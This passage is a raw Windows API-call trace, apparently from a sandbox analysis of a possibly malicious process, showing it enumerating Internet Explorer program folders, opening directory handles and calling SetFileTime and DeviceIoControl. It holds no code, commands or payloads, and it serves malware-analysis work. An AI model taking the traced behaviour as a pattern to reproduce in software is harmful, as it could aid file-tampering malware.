ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0067.619] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.620] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0067.620] GetLastError () returned 0x12 [0067.620] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0067.620] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.620] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.620] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404ee910, ftCreationTime.dwHighDateTime=0x1d57814, ftLastAccessTime.dwLowDateTime=0x4f4c03f0, ftLastAccessTime.dwHighDateTime=0x1d57fce, ftLastWriteTime.dwLowDateTime=0x4f4c03f0, ftLastWriteTime.dwHighDateTime=0x1d57fce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0067.620] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986f590, ftCreationTime.dwHighDateTime=0x1d5b98b, ftLastAccessTime.dwLowDateTime=0xd3456ab0, ftLastAccessTime.dwHighDateTime=0x1d57089, ftLastWriteTime.dwLowDateTime=0xd3456ab0, ftLastWriteTime.dwHighDateTime=0x1d57089, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="contributions.exe", cAlternateFileName="")) returned 1 [0067.620] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0067.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0067.620] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0067.620] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0067.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd6468 [0067.620] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd6468, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfd6468, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0067.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd6468) returned 1 [0067.621] NtClose (Handle=0xec) returned 0x0 [0067.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0067.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0067.621] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0067.622] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.622] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf468 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0067.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.622] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf488 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0067.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.622] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0067.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf4a8 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7c90 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf4c8 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7d18 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf4e8 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1040) returned 0xfcf510 [0067.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5460) returned 1 [0067.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.671] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.671] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0570 [0067.671] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb82f0 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0590 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd05b0 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.672] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.673] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.673] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.673] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd05d0 [0067.673] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.673] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.673] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0067.673] GetLastError () returned 0x12 [0067.673] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d220 [0067.673] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.673] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.673] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, 